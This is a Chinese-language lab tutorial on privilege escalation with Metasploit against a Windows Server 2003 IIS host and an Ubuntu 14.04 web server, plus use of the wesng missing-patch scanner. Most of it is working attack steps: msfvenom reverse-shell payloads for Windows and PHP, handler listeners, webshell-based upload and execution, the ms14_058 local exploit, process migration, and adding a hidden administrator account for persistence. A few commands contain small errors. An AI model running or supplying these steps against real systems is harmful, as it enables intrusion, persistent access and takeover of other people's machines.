使用MSF进行提权（windows提权、linux提权、wesng使用）

Metasploit 是一个渗透框架，kali 内安装了，安装位置如下

/usr/share/metasploit-framework

选定需要使用的攻击模块之后，你只需要使用简单的命令配置一些参数就能完成针对一个漏洞的测试和利用，将渗透的过程自动化、简单化

主要作用：漏洞验证、漏洞利用、内网渗透等

MSF Windows提权

靶机：

Win server2003 + iis（已通过webshell拿到低权限用户）

IP：192.168.179.143

攻击机：

Kali Linux

IP：192.168.179.128

使用msf生成payload在Kali中输入命令进入msfmsfconsole生成payloadmsfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.128 lport=12345 -f exe >/var/www/html/s.exe# lhost 是kali的ip# lport 是kali监听端口将刚才生成的 s.exe 文件上传到服务器（靶机）C:\RECYCLER\s.exe 目录（因为一般C:\RECYCLER\ 目录都有读写权限）
kali 开启本地监听use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.179.128set lport 12345exploit使用命令可以查看配置情况show options
使用webshell执行上传的s.exe文件，发现缺少对象，在windows提权篇说过，这种情况需要上传一个版本匹配的cmd.exe文件到c:\recycler目录执行接收到反弹shell（截图端口有误应为12345）发现只是一个iis用户，需要进行提权操作

Windows 提权 exp 存储文件夹路径

/usr/share/metasploit-framework# cd modules/exploits/windows/local/

常见的提权模块如下：

常用提权命令

可以先使用 getsystem 来自动提权，如果失败再手动提权

基础命令

ps 列出进程
sessions 查看会话
background 把session放置后台
sessions -i number # 与会话进行交互，number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
interact id #切换进一个信道
back 返回主界面
shell 得到终端
search搜索模块
show 列模块
info 查看模块信息

接下来进行具体提权过程：

利用getuid命令查看已经获得的权限，可以看到现在的权限很低，是个user权限（或者进入shell 使用whoami命令查看）。尝试利用getsystem提权，失败
输入命令shell进入目标机CMD命令行，再利用systeminfo命令或者通过查询 c:\windows\ 里留下的补丁号.log来看看目标机大概打了哪些补丁使用 wesng工具查看缺失补丁或者使用以下两个网站> 安全焦点，其BugTraq是一个出色的漏洞和exploit数据源，可以通过CVE编号，或者产品信息漏洞直接搜索。网址：http://www.securityfocus.com/bid。> Exploit-DB,取代了老牌安全网站milw0rm。不断更新大量的Exploit程序和报告，它的搜索功能可以搜索整个网站内容。网址：http://www.exploit-db.com。使用命令查找```python .\wes.py -m .\systeminfo.txt```发现很多补丁都没有打
输入命令background,就是把当前的metasploit shell转为后台执行使用命令搜索模块search ms14_058查看模块信息exploit/windows/local/ms14_058_track_popup_menu基础选项中看到需要设置一个sessionuse exploit/windows/local/ms14_058_track_popup_menu设置session为刚才back的，使用sessions命令查看id设置sessionset SESSION 3提权成功

保持权限

使用ps命令列出进程

migrate pid 注入explorer 进程

增加超级管理员

net user ocean$ ocean123 /add 
net localground administrators ocean$ /add

在kali里面链接远程终端

rdesktop 192.168.179.128

方法和windows是一致的

靶机：

ubuntu14.04

IP：192.168.179.146

攻击机：

Kali Linux

IP：192.168.179.128

经过测试web中存在文件上传漏洞，然后上传了一句话木马，使用蚁剑链接成功

使用MSF生成payload

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.179.128 LPORT=12345 -f raw > /var/www/html/shell.php

开启监听

use exploit/multi/handler
set payload php/meterpreter_reverse_tcp 
set lhost 192.168.179.128
set lport 12345
exploit

再蚁剑上传shell.php到web目录再浏览器访问

http://192.168.179.146/upload/shell.php

kali接收到反弹的shell

权限为www-data

msf对于Linux提权方式不是很多，还是以手工提权为主

将wesng下载到本地主机上，先升级最新的漏洞数据库python wes.py --update
将目标机器的systeminfo命令的结果输出并保存，使用wesng进行检查python .\wes.py .\systeminfo.txt如果提示txt文件中有缺失，可以加参数指定系统版本-m .\systeminfo.txt --os "winserver 2008 r2"wesng也可以对数据进行过滤如果攻击者对可能导致远程代码执行的漏洞和/或仅具有可用漏洞利用代码的漏洞感兴趣，这将非常有用。为此，可以分别使用--impact "Remote Code Execution"(shorthand: -i) 和--exploits-only(shorthand: -e) 参数，使用--severity（简写：）-s参数可以仅列出具有特定严重性的结果支持使用--output(shorthand: -o) 参数将结果以 CSV 格式存储到磁盘同样也有针对linux的工具https://github.com/mzet-/linux-exploit-suggester